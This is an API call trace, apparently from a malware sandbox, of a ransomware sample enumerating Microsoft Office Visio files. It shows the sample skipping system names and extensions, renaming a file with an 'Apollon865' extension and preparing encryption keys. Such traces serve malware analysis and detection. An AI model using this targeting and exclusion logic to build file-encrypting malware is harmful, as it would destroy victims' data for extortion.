	[0066.412] lstrcmpiW (lpString1="BPMNC_U.VSS", lpString2=".lnk") returned 1
	[0066.412] lstrlenW (lpString=".ini") returned 4
	[0066.412] lstrcmpiW (lpString1="BPMNC_U.VSS", lpString2=".ini") returned 1
	[0066.412] lstrlenW (lpString=".sys") returned 4
	[0066.412] lstrcmpiW (lpString1="BPMNC_U.VSS", lpString2=".sys") returned 1
	[0066.412] lstrlenW (lpString="BPMNC_U.VSS") returned 11
	[0066.412] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMNE_M.VSS" | out: lpString1="BPMNE_M.VSS") returned="BPMNE_M.VSS"
	[0066.412] lstrlenW (lpString="BPMNE_M.VSS") returned 11
	[0066.412] lstrlenW (lpString="Apollon865") returned 10
	[0066.413] lstrcmpiW (lpString1="PMNE_M.VSS", lpString2="Apollon865") returned 1
	[0066.413] lstrlenW (lpString=".dll") returned 4
	[0066.413] lstrcmpiW (lpString1="BPMNE_M.VSS", lpString2=".dll") returned 1
	[0066.413] lstrlenW (lpString=".lnk") returned 4
	[0066.413] lstrcmpiW (lpString1="BPMNE_M.VSS", lpString2=".lnk") returned 1
	[0066.413] lstrlenW (lpString=".ini") returned 4
	[0066.413] lstrcmpiW (lpString1="BPMNE_M.VSS", lpString2=".ini") returned 1
	[0066.413] lstrlenW (lpString=".sys") returned 4
	[0066.413] lstrcmpiW (lpString1="BPMNE_M.VSS", lpString2=".sys") returned 1
	[0066.413] lstrlenW (lpString="BPMNE_M.VSS") returned 11
	[0066.413] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMNE_U.VSS" | out: lpString1="BPMNE_U.VSS") returned="BPMNE_U.VSS"
	[0066.413] lstrlenW (lpString="BPMNE_U.VSS") returned 11
	[0066.413] lstrlenW (lpString="Apollon865") returned 10
	[0066.413] lstrcmpiW (lpString1="PMNE_U.VSS", lpString2="Apollon865") returned 1
	[0066.413] lstrlenW (lpString=".dll") returned 4
	[0066.413] lstrcmpiW (lpString1="BPMNE_U.VSS", lpString2=".dll") returned 1
	[0066.413] lstrlenW (lpString=".lnk") returned 4
	[0066.413] lstrcmpiW (lpString1="BPMNE_U.VSS", lpString2=".lnk") returned 1
	[0066.413] lstrlenW (lpString=".ini") returned 4
	[0066.413] lstrcmpiW (lpString1="BPMNE_U.VSS", lpString2=".ini") returned 1
	[0066.413] lstrlenW (lpString=".sys") returned 4
	[0066.413] lstrcmpiW (lpString1="BPMNE_U.VSS", lpString2=".sys") returned 1
	[0066.413] lstrlenW (lpString="BPMNE_U.VSS") returned 11
	[0066.413] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMNG_M.VSS" | out: lpString1="BPMNG_M.VSS") returned="BPMNG_M.VSS"
	[0066.413] lstrlenW (lpString="BPMNG_M.VSS") returned 11
	[0066.413] lstrlenW (lpString="Apollon865") returned 10
	[0066.413] lstrcmpiW (lpString1="PMNG_M.VSS", lpString2="Apollon865") returned 1
	[0066.413] lstrlenW (lpString=".dll") returned 4
	[0066.414] lstrcmpiW (lpString1="BPMNG_M.VSS", lpString2=".dll") returned 1
	[0066.414] lstrlenW (lpString=".lnk") returned 4
	[0066.414] lstrcmpiW (lpString1="BPMNG_M.VSS", lpString2=".lnk") returned 1
	[0066.414] lstrlenW (lpString=".ini") returned 4
	[0066.414] lstrcmpiW (lpString1="BPMNG_M.VSS", lpString2=".ini") returned 1
	[0066.414] lstrlenW (lpString=".sys") returned 4
	[0066.414] lstrcmpiW (lpString1="BPMNG_M.VSS", lpString2=".sys") returned 1
	[0066.414] lstrlenW (lpString="BPMNG_M.VSS") returned 11
	[0066.414] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMNG_U.VSS" | out: lpString1="BPMNG_U.VSS") returned="BPMNG_U.VSS"
	[0066.414] lstrlenW (lpString="BPMNG_U.VSS") returned 11
	[0066.414] lstrlenW (lpString="Apollon865") returned 10
	[0066.414] lstrcmpiW (lpString1="PMNG_U.VSS", lpString2="Apollon865") returned 1
	[0066.414] lstrlenW (lpString=".dll") returned 4
	[0066.414] lstrcmpiW (lpString1="BPMNG_U.VSS", lpString2=".dll") returned 1
	[0066.414] lstrlenW (lpString=".lnk") returned 4
	[0066.414] lstrcmpiW (lpString1="BPMNG_U.VSS", lpString2=".lnk") returned 1
	[0066.414] lstrlenW (lpString=".ini") returned 4
	[0066.414] lstrcmpiW (lpString1="BPMNG_U.VSS", lpString2=".ini") returned 1
	[0066.414] lstrlenW (lpString=".sys") returned 4
	[0066.414] lstrcmpiW (lpString1="BPMNG_U.VSS", lpString2=".sys") returned 1
	[0066.414] lstrlenW (lpString="BPMNG_U.VSS") returned 11
	[0066.414] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMN_M.VSS" | out: lpString1="BPMN_M.VSS") returned="BPMN_M.VSS"
	[0066.414] lstrlenW (lpString="BPMN_M.VSS") returned 10
	[0066.414] lstrlenW (lpString="Apollon865") returned 10
	[0066.414] lstrlenW (lpString=".dll") returned 4
	[0066.414] lstrcmpiW (lpString1="BPMN_M.VSS", lpString2=".dll") returned 1
	[0066.414] lstrlenW (lpString=".lnk") returned 4
	[0066.414] lstrcmpiW (lpString1="BPMN_M.VSS", lpString2=".lnk") returned 1
	[0066.414] lstrlenW (lpString=".ini") returned 4
	[0066.415] lstrcmpiW (lpString1="BPMN_M.VSS", lpString2=".ini") returned 1
	[0066.415] lstrlenW (lpString=".sys") returned 4
	[0066.415] lstrcmpiW (lpString1="BPMN_M.VSS", lpString2=".sys") returned 1
	[0066.415] lstrlenW (lpString="BPMN_M.VSS") returned 10
	[0066.415] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMN_M.VST" | out: lpString1="BPMN_M.VST") returned="BPMN_M.VST"
	[0066.415] lstrlenW (lpString="BPMN_M.VST") returned 10
	[0066.415] lstrlenW (lpString="Apollon865") returned 10
	[0066.415] lstrlenW (lpString=".dll") returned 4
	[0066.415] lstrcmpiW (lpString1="BPMN_M.VST", lpString2=".dll") returned 1
	[0066.415] lstrlenW (lpString=".lnk") returned 4
	[0066.415] lstrcmpiW (lpString1="BPMN_M.VST", lpString2=".lnk") returned 1
	[0066.415] lstrlenW (lpString=".ini") returned 4
	[0066.415] lstrcmpiW (lpString1="BPMN_M.VST", lpString2=".ini") returned 1
	[0066.415] lstrlenW (lpString=".sys") returned 4
	[0066.415] lstrcmpiW (lpString1="BPMN_M.VST", lpString2=".sys") returned 1
	[0066.415] lstrlenW (lpString="BPMN_M.VST") returned 10
	[0066.415] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMN_U.VSS" | out: lpString1="BPMN_U.VSS") returned="BPMN_U.VSS"
	[0066.415] lstrlenW (lpString="BPMN_U.VSS") returned 10
	[0066.415] lstrlenW (lpString="Apollon865") returned 10
	[0066.415] lstrlenW (lpString=".dll") returned 4
	[0066.415] lstrcmpiW (lpString1="BPMN_U.VSS", lpString2=".dll") returned 1
	[0066.415] lstrlenW (lpString=".lnk") returned 4
	[0066.415] lstrcmpiW (lpString1="BPMN_U.VSS", lpString2=".lnk") returned 1
	[0066.415] lstrlenW (lpString=".ini") returned 4
	[0066.415] lstrcmpiW (lpString1="BPMN_U.VSS", lpString2=".ini") returned 1
	[0066.415] lstrlenW (lpString=".sys") returned 4
	[0066.415] lstrcmpiW (lpString1="BPMN_U.VSS", lpString2=".sys") returned 1
	[0066.415] lstrlenW (lpString="BPMN_U.VSS") returned 10
	[0066.415] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPMN_U.VST" | out: lpString1="BPMN_U.VST") returned="BPMN_U.VST"
	[0066.416] lstrlenW (lpString="BPMN_U.VST") returned 10
	[0066.416] lstrlenW (lpString="Apollon865") returned 10
	[0066.416] lstrlenW (lpString=".dll") returned 4
	[0066.416] lstrcmpiW (lpString1="BPMN_U.VST", lpString2=".dll") returned 1
	[0066.416] lstrlenW (lpString=".lnk") returned 4
	[0066.416] lstrcmpiW (lpString1="BPMN_U.VST", lpString2=".lnk") returned 1
	[0066.416] lstrlenW (lpString=".ini") returned 4
	[0066.416] lstrcmpiW (lpString1="BPMN_U.VST", lpString2=".ini") returned 1
	[0066.416] lstrlenW (lpString=".sys") returned 4
	[0066.416] lstrcmpiW (lpString1="BPMN_U.VST", lpString2=".sys") returned 1
	[0066.416] lstrlenW (lpString="BPMN_U.VST") returned 10
	[0066.416] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPRES_M.VSS" | out: lpString1="BPRES_M.VSS") returned="BPRES_M.VSS"
	[0066.416] lstrlenW (lpString="BPRES_M.VSS") returned 11
	[0066.416] lstrlenW (lpString="Apollon865") returned 10
	[0066.416] lstrcmpiW (lpString1="PRES_M.VSS", lpString2="Apollon865") returned 1
	[0066.416] lstrlenW (lpString=".dll") returned 4
	[0066.416] lstrcmpiW (lpString1="BPRES_M.VSS", lpString2=".dll") returned 1
	[0066.416] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BPRES_U.VSS" | out: lpString1="BPRES_U.VSS") returned="BPRES_U.VSS"
	[0066.416] lstrlenW (lpString="BPRES_U.VSS") returned 11
	[0066.416] lstrlenW (lpString="Apollon865") returned 10
	[0066.416] lstrcmpiW (lpString1="PRES_U.VSS", lpString2="Apollon865") returned 1
	[0066.416] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BRAINSTM.XML" | out: lpString1="BRAINSTM.XML") returned="BRAINSTM.XML"
	[0066.416] lstrlenW (lpString="BRAINSTM.XML") returned 12
	[0066.416] lstrlenW (lpString="Apollon865") returned 10
	[0066.416] lstrcmpiW (lpString1="AINSTM.XML", lpString2="Apollon865") returned -1
	[0066.416] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML.Apollon865") returned 85
	[0066.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\brainstm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\brainstm.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\brainstm.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0066.419] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1369) returned 1
	[0066.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.420] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.420] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.420] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.421] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x860, lpName=0x0) returned 0x150
	[0066.422] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x860) returned 0x100000
	[0066.424] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.424] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.425] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.425] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.425] CloseHandle (hObject=0x150) returned 1
	[0066.425] CloseHandle (hObject=0xc0) returned 1
	[0066.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.426] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41b31600, ftCreationTime.dwHighDateTime=0x1ca4728, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x41b31600, ftLastWriteTime.dwHighDateTime=0x1ca4728, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BSTORM_M.VSS", cAlternateFileName="")) returned 1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="Apollon865.txt.exe") returned 1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2=".") returned 1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="..") returned 1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="windows") returned -1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="bootmgr") returned 1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="temp") returned -1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="pagefile.sys") returned -1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="boot") returned 1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="ids.txt") returned -1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="ntuser.dat") returned -1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="perflogs") returned -1
	[0066.426] lstrcmpiW (lpString1="BSTORM_M.VSS", lpString2="MSBuild") returned -1
	[0066.426] lstrlenW (lpString="BSTORM_M.VSS") returned 12
	[0066.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BRAINSTM.XML") returned 74
	[0066.426] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BSTORM_M.VSS" | out: lpString1="BSTORM_M.VSS") returned="BSTORM_M.VSS"
	[0066.426] lstrlenW (lpString="BSTORM_M.VSS") returned 12
	[0066.426] lstrlenW (lpString="Apollon865") returned 10
	[0066.426] lstrcmpiW (lpString1="TORM_M.VSS", lpString2="Apollon865") returned 1
	[0066.427] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BSTORM_M.VST" | out: lpString1="BSTORM_M.VST") returned="BSTORM_M.VST"
	[0066.427] lstrlenW (lpString="BSTORM_M.VST") returned 12
	[0066.427] lstrlenW (lpString="Apollon865") returned 10
	[0066.427] lstrcmpiW (lpString1="TORM_M.VST", lpString2="Apollon865") returned 1
	[0066.430] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BSTORM_U.VSS" | out: lpString1="BSTORM_U.VSS") returned="BSTORM_U.VSS"
	[0066.430] lstrlenW (lpString="BSTORM_U.VSS") returned 12
	[0066.430] lstrlenW (lpString="Apollon865") returned 10
	[0066.430] lstrcmpiW (lpString1="TORM_U.VSS", lpString2="Apollon865") returned 1
	[0066.430] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BSTORM_U.VST" | out: lpString1="BSTORM_U.VST") returned="BSTORM_U.VST"
	[0066.430] lstrlenW (lpString="BSTORM_U.VST") returned 12
	[0066.430] lstrlenW (lpString="Apollon865") returned 10
	[0066.430] lstrcmpiW (lpString1="TORM_U.VST", lpString2="Apollon865") returned 1
	[0066.430] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BTHKT_M.VSS" | out: lpString1="BTHKT_M.VSS") returned="BTHKT_M.VSS"
	[0066.430] lstrlenW (lpString="BTHKT_M.VSS") returned 11
	[0066.430] lstrlenW (lpString="Apollon865") returned 10
	[0066.430] lstrcmpiW (lpString1="THKT_M.VSS", lpString2="Apollon865") returned 1
	[0066.430] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="BTHKT_U.VSS" | out: lpString1="BTHKT_U.VSS") returned="BTHKT_U.VSS"
	[0066.430] lstrlenW (lpString="BTHKT_U.VSS") returned 11
	[0066.430] lstrlenW (lpString="Apollon865") returned 10
	[0066.430] lstrcmpiW (lpString1="THKT_U.VSS", lpString2="Apollon865") returned 1
	[0066.430] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CABNT_M.VSS" | out: lpString1="CABNT_M.VSS") returned="CABNT_M.VSS"
	[0066.430] lstrlenW (lpString="CABNT_M.VSS") returned 11
	[0066.430] lstrlenW (lpString="Apollon865") returned 10
	[0066.430] lstrcmpiW (lpString1="ABNT_M.VSS", lpString2="Apollon865") returned -1
	[0066.430] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CABNT_U.VSS" | out: lpString1="CABNT_U.VSS") returned="CABNT_U.VSS"
	[0066.430] lstrlenW (lpString="CABNT_U.VSS") returned 11
	[0066.431] lstrlenW (lpString="Apollon865") returned 10
	[0066.431] lstrcmpiW (lpString1="ABNT_U.VSS", lpString2="Apollon865") returned -1
	[0066.431] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CALNDR_M.VSS" | out: lpString1="CALNDR_M.VSS") returned="CALNDR_M.VSS"
	[0066.431] lstrlenW (lpString="CALNDR_M.VSS") returned 12
	[0066.431] lstrlenW (lpString="Apollon865") returned 10
	[0066.431] lstrcmpiW (lpString1="LNDR_M.VSS", lpString2="Apollon865") returned 1
	[0066.431] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CALNDR_M.VST" | out: lpString1="CALNDR_M.VST") returned="CALNDR_M.VST"
	[0066.431] lstrlenW (lpString="CALNDR_M.VST") returned 12
	[0066.431] lstrlenW (lpString="Apollon865") returned 10
	[0066.431] lstrcmpiW (lpString1="LNDR_M.VST", lpString2="Apollon865") returned 1
	[0066.431] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CALNDR_U.VSS" | out: lpString1="CALNDR_U.VSS") returned="CALNDR_U.VSS"
	[0066.431] lstrlenW (lpString="CALNDR_U.VSS") returned 12
	[0066.431] lstrlenW (lpString="Apollon865") returned 10
	[0066.431] lstrcmpiW (lpString1="LNDR_U.VSS", lpString2="Apollon865") returned 1
	[0066.431] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CALNDR_U.VST" | out: lpString1="CALNDR_U.VST") returned="CALNDR_U.VST"
	[0066.431] lstrlenW (lpString="CALNDR_U.VST") returned 12
	[0066.431] lstrlenW (lpString="Apollon865") returned 10
	[0066.431] lstrcmpiW (lpString1="LNDR_U.VST", lpString2="Apollon865") returned 1
	[0066.431] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CALOUT_M.VSS" | out: lpString1="CALOUT_M.VSS") returned="CALOUT_M.VSS"
	[0066.431] lstrlenW (lpString="CALOUT_M.VSS") returned 12
	[0066.431] lstrlenW (lpString="Apollon865") returned 10
	[0066.431] lstrcmpiW (lpString1="LOUT_M.VSS", lpString2="Apollon865") returned 1
	[0066.431] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CALOUT_U.VSS" | out: lpString1="CALOUT_U.VSS") returned="CALOUT_U.VSS"
	[0066.432] lstrlenW (lpString="CALOUT_U.VSS") returned 12
	[0066.432] lstrlenW (lpString="Apollon865") returned 10
	[0066.432] lstrcmpiW (lpString1="LOUT_U.VSS", lpString2="Apollon865") returned 1
	[0066.432] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CAUSEF_M.VSS" | out: lpString1="CAUSEF_M.VSS") returned="CAUSEF_M.VSS"
	[0066.432] lstrlenW (lpString="CAUSEF_M.VSS") returned 12
	[0066.432] lstrlenW (lpString="Apollon865") returned 10
	[0066.432] lstrcmpiW (lpString1="USEF_M.VSS", lpString2="Apollon865") returned 1
	[0066.432] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CAUSEF_M.VST" | out: lpString1="CAUSEF_M.VST") returned="CAUSEF_M.VST"
	[0066.432] lstrlenW (lpString="CAUSEF_M.VST") returned 12
	[0066.432] lstrlenW (lpString="Apollon865") returned 10
	[0066.432] lstrcmpiW (lpString1="USEF_M.VST", lpString2="Apollon865") returned 1
	[0066.432] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CAUSEF_U.VSS" | out: lpString1="CAUSEF_U.VSS") returned="CAUSEF_U.VSS"
	[0066.432] lstrlenW (lpString="CAUSEF_U.VSS") returned 12
	[0066.432] lstrlenW (lpString="Apollon865") returned 10
	[0066.432] lstrcmpiW (lpString1="USEF_U.VSS", lpString2="Apollon865") returned 1
	[0066.432] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CAUSEF_U.VST" | out: lpString1="CAUSEF_U.VST") returned="CAUSEF_U.VST"
	[0066.432] lstrlenW (lpString="CAUSEF_U.VST") returned 12
	[0066.432] lstrlenW (lpString="Apollon865") returned 10
	[0066.432] lstrcmpiW (lpString1="USEF_U.VST", lpString2="Apollon865") returned 1
	[0066.432] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CEILPL_M.VST" | out: lpString1="CEILPL_M.VST") returned="CEILPL_M.VST"
	[0066.432] lstrlenW (lpString="CEILPL_M.VST") returned 12
	[0066.432] lstrlenW (lpString="Apollon865") returned 10
	[0066.432] lstrcmpiW (lpString1="ILPL_M.VST", lpString2="Apollon865") returned 1
	[0066.433] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CEILPL_U.VST" | out: lpString1="CEILPL_U.VST") returned="CEILPL_U.VST"
	[0066.433] lstrlenW (lpString="CEILPL_U.VST") returned 12
	[0066.433] lstrlenW (lpString="Apollon865") returned 10
	[0066.433] lstrcmpiW (lpString1="ILPL_U.VST", lpString2="Apollon865") returned 1
	[0066.433] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CHART_M.VSS" | out: lpString1="CHART_M.VSS") returned="CHART_M.VSS"
	[0066.433] lstrlenW (lpString="CHART_M.VSS") returned 11
	[0066.433] lstrlenW (lpString="Apollon865") returned 10
	[0066.433] lstrcmpiW (lpString1="HART_M.VSS", lpString2="Apollon865") returned 1
	[0066.433] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CHART_M.VST" | out: lpString1="CHART_M.VST") returned="CHART_M.VST"
	[0066.433] lstrlenW (lpString="CHART_M.VST") returned 11
	[0066.433] lstrlenW (lpString="Apollon865") returned 10
	[0066.433] lstrcmpiW (lpString1="HART_M.VST", lpString2="Apollon865") returned 1
	[0066.433] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CHART_U.VSS" | out: lpString1="CHART_U.VSS") returned="CHART_U.VSS"
	[0066.433] lstrlenW (lpString="CHART_U.VSS") returned 11
	[0066.433] lstrlenW (lpString="Apollon865") returned 10
	[0066.433] lstrcmpiW (lpString1="HART_U.VSS", lpString2="Apollon865") returned 1
	[0066.433] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CHART_U.VST" | out: lpString1="CHART_U.VST") returned="CHART_U.VST"
	[0066.433] lstrlenW (lpString="CHART_U.VST") returned 11
	[0066.433] lstrlenW (lpString="Apollon865") returned 10
	[0066.433] lstrcmpiW (lpString1="HART_U.VST", lpString2="Apollon865") returned 1
	[0066.433] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="COMOLE_M.VSS" | out: lpString1="COMOLE_M.VSS") returned="COMOLE_M.VSS"
	[0066.433] lstrlenW (lpString="COMOLE_M.VSS") returned 12
	[0066.434] lstrlenW (lpString="Apollon865") returned 10
	[0066.434] lstrcmpiW (lpString1="MOLE_M.VSS", lpString2="Apollon865") returned 1
	[0066.434] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="COMOLE_M.VST" | out: lpString1="COMOLE_M.VST") returned="COMOLE_M.VST"
	[0066.434] lstrlenW (lpString="COMOLE_M.VST") returned 12
	[0066.434] lstrlenW (lpString="Apollon865") returned 10
	[0066.434] lstrcmpiW (lpString1="MOLE_M.VST", lpString2="Apollon865") returned 1
	[0066.434] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="COMOLE_U.VSS" | out: lpString1="COMOLE_U.VSS") returned="COMOLE_U.VSS"
	[0066.434] lstrlenW (lpString="COMOLE_U.VSS") returned 12
	[0066.434] lstrlenW (lpString="Apollon865") returned 10
	[0066.434] lstrcmpiW (lpString1="MOLE_U.VSS", lpString2="Apollon865") returned 1
	[0066.434] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="COMOLE_U.VST" | out: lpString1="COMOLE_U.VST") returned="COMOLE_U.VST"
	[0066.434] lstrlenW (lpString="COMOLE_U.VST") returned 12
	[0066.434] lstrlenW (lpString="Apollon865") returned 10
	[0066.434] lstrcmpiW (lpString1="MOLE_U.VST", lpString2="Apollon865") returned 1
	[0066.434] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="COMPLN_M.VSS" | out: lpString1="COMPLN_M.VSS") returned="COMPLN_M.VSS"
	[0066.434] lstrlenW (lpString="COMPLN_M.VSS") returned 12
	[0066.434] lstrlenW (lpString="Apollon865") returned 10
	[0066.434] lstrcmpiW (lpString1="MPLN_M.VSS", lpString2="Apollon865") returned 1
	[0066.434] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="COMPLN_U.VSS" | out: lpString1="COMPLN_U.VSS") returned="COMPLN_U.VSS"
	[0066.434] lstrlenW (lpString="COMPLN_U.VSS") returned 12
	[0066.434] lstrlenW (lpString="Apollon865") returned 10
	[0066.434] lstrcmpiW (lpString1="MPLN_U.VSS", lpString2="Apollon865") returned 1
	[0066.435] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="COMPS_M.VSS" | out: lpString1="COMPS_M.VSS") returned="COMPS_M.VSS"
	[0066.435] lstrlenW (lpString="COMPS_M.VSS") returned 11
	[0066.435] lstrlenW (lpString="Apollon865") returned 10
	[0066.435] lstrcmpiW (lpString1="OMPS_M.VSS", lpString2="Apollon865") returned 1
	[0066.435] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="COMPS_U.VSS" | out: lpString1="COMPS_U.VSS") returned="COMPS_U.VSS"
	[0066.435] lstrlenW (lpString="COMPS_U.VSS") returned 11
	[0066.435] lstrlenW (lpString="Apollon865") returned 10
	[0066.435] lstrcmpiW (lpString1="OMPS_U.VSS", lpString2="Apollon865") returned 1
	[0066.435] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CONLOG_M.VST" | out: lpString1="CONLOG_M.VST") returned="CONLOG_M.VST"
	[0066.435] lstrlenW (lpString="CONLOG_M.VST") returned 12
	[0066.435] lstrlenW (lpString="Apollon865") returned 10
	[0066.435] lstrcmpiW (lpString1="NLOG_M.VST", lpString2="Apollon865") returned 1
	[0066.435] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CONLOG_U.VST" | out: lpString1="CONLOG_U.VST") returned="CONLOG_U.VST"
	[0066.435] lstrlenW (lpString="CONLOG_U.VST") returned 12
	[0066.435] lstrlenW (lpString="Apollon865") returned 10
	[0066.435] lstrcmpiW (lpString1="NLOG_U.VST", lpString2="Apollon865") returned 1
	[0066.435] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="CONNEC_M.VSS" | out: lpString1="CONNEC_M.VSS") returned="CONNEC_M.VSS"
	[0066.435] lstrlenW (lpString="CONNEC_M.VSS") returned 12
